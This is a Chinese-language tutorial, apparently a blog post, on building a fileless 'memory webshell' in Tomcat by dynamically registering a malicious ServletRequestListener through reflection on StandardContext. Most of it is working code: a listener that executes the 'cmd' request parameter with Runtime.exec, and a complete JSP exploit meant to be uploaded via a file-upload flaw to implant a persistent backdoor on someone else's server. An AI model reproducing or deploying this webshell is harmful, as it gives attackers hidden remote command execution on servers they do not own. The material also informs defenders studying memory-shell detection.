一.基础信息

在上一篇文章中我们已经简单的了解了一下Listener了,那么首先能考虑被作为内存马的是ServletRequestListener:对请求对象的初始化和销毁进行监听
说人话就是每次请求的时候就是初始化,请求结束销毁,这一技术主要在Servlet3.0之后,并且呢tomcat7.x及以上才可以用,因为tomcat7.x在支持Servlet3.0,
为了方便调试我们添加包(代码一),原因很简单你不加根本进不去(图一)。
懂点的可以先看一下图二。
<dependency>
    <groupId>org.apache.tomcat</groupId>
    <artifactId>tomcat-catalina</artifactId>
    <version>8.5.100</version>
</dependency>

二.动态注册

我们得知请求任意url的时候会被执行到监听器,首先这个监听器在写入之后需要重启才能生效,那么在实战中
我们不可能去修改代码更不可能重启别人服务,那么就需要动态注册,大致就是分析一下正常的Listener是怎么的一个过程,废话不多说,
首先我们需要创建一个恶意的Listener(代码一),在其中打上断点(图一),走进StandardContext类中fireRequestInitEvent方法(图二),
接着一直往上跟看看从哪里获取到了ListenerWeblshell的实例,在第一行getApplicationEventListeners方法中获取到了,那么看看是什么(图三,图四),
得知他是一个类中的属性的话,那么需要修改他先看看有那么有Setter,发现是有的(图五),到这里其实就已经结束了,现在我们的目的就是需要通过这个Setter进行动态注册打成目的。
package com.example.webshell1;
import javax.servlet.ServletRequest;
import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import javax.servlet.annotation.WebListener;
import javax.servlet.http.HttpServletRequest;
import java.io.IOException;
import java.lang.reflect.Field;

@WebListener
public class ListenerWeblshell implements ServletRequestListener {
    @Override
    public void requestDestroyed(ServletRequestEvent sre) {
        System.out.println("销毁");
    }
    @Override
    public void requestInitialized(ServletRequestEvent sre) {
        HttpServletRequest servletRequest = (HttpServletRequest)sre.getServletRequest();
        String cmd = servletRequest.getParameter("cmd");
        if (cmd!=null){
            try {
                Runtime.getRuntime().exec(cmd);
            } catch (IOException e) {
                throw new RuntimeException(e);
            }
        }
        
    }
}

在上面我们得知存在setApplicationEventListeners和addApplicationEventListener都可以修改,
我们先用addApplicationEventListener,现在的问题是如何拿到StandardContext实例,
那我们往上推看看谁调用了StandardContext他是怎么拿到的(图一),那我们就模拟他就行了问我具体干啥了一切不知道也不需要管他,
(代码一,图二),那你就要问了,你这是个锤子内存马呀,图二中已经创建一个新的Litsener,你就算添加进去有什么用这不冗余了吗?
而且还需要改java代码你这不是天方夜谭吗?没错下面我们就要想到的攻击面了,如果说存在文件上传的情况下我们是否可以在JSP中进行操作呢?
答案是可以的因为JSP中九大核心内置对象中刚好有request(可以看上一篇文章简单了解一下),

package com.example.webshell1;

import org.apache.catalina.Context;
import org.apache.catalina.connector.Request;
import org.apache.catalina.core.StandardContext;

import javax.servlet.ServletRequest;
import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import javax.servlet.annotation.WebListener;
import javax.servlet.http.HttpServletRequest;
import java.io.IOException;
import java.lang.reflect.Field;

@WebListener
public class ListenerWeblshell implements ServletRequestListener {
    @Override
    public void requestDestroyed(ServletRequestEvent sre) {
        System.out.println("销毁");
    }
    @Override
    public void requestInitialized(ServletRequestEvent sre) {
        //拿到StandardContext实例
        Request Reques = (Request)sre.getServletRequest();
        StandardContext context = (StandardContext)Reques.getContext();
        //修改添加我们的Listener
        TestListener testListener = new TestListener();
        context.addApplicationEventListener(testListener);
    }
}

三.完整Listener内存马

首先获取org.apache.catalina.connector.Request的实例,在JSP中request是org.apache.catalina.connector.RequestFacade他实现了HttpServletRequest(图一,图二),
但是存在一个request属性刚好类型是Request(图三),通过反射获取request,之后取出org.apache.coyote.Request,
强制转换成StandardContext对象,执行addApplicationListener,完整exp(代码一),访问这个JSP文件之后会添加一个新的Listener到ApplicationEventListener,
重新请求的时候getApplicationEventListeners就已经有我们的Listener了,到这里还是有点绕的可以手动测试看看,要是这都没理解那我也无能为力了,
这已经是手把手了,好了其实还是蛮简单的,下期见(冲冲冲)。

<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="java.io.IOException" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>


<%!
    public class TestListener implements ServletRequestListener {
        @Override
        public void requestDestroyed(ServletRequestEvent sre) {
        }
        @Override
        public void requestInitialized(ServletRequestEvent sre) {
            HttpServletRequest servletRequest = (HttpServletRequest)sre.getServletRequest();
            String cmd = servletRequest.getParameter("cmd");
            if (cmd!=null){
                try {
                    Runtime.getRuntime().exec(cmd);
                } catch (IOException e) {
                    throw new RuntimeException(e);
                }
            }
        }
    }
%>

<%
    //获取org.apache.coyote.Request实例
    //request实际上是org.apache.catalina.connector.RequestFacade他实现了HttpServletRequest
    Field request1 = request.getClass().getDeclaredField("request");
    request1.setAccessible(true);
    //上面获取了request属性取出org.apache.coyote.Request
    Request o = (Request)request1.get(request);
    //强制转换成StandardContext对象,执行addApplicationListener
    StandardContext context = (StandardContext)o.getContext();
    context.addApplicationEventListener(new TestListener());
%>

下面就是刚刚那个Setter,其实也很简单但是尽量不要用因为他会覆盖掉所有的Listener这就很恶心,其实就多了一行代码。
Object listeners[]={new TestListener()}; //这种写法导致了覆盖了所有的Listener,导致只能执行这一个监听器
context.addApplicationEventListener(listeners);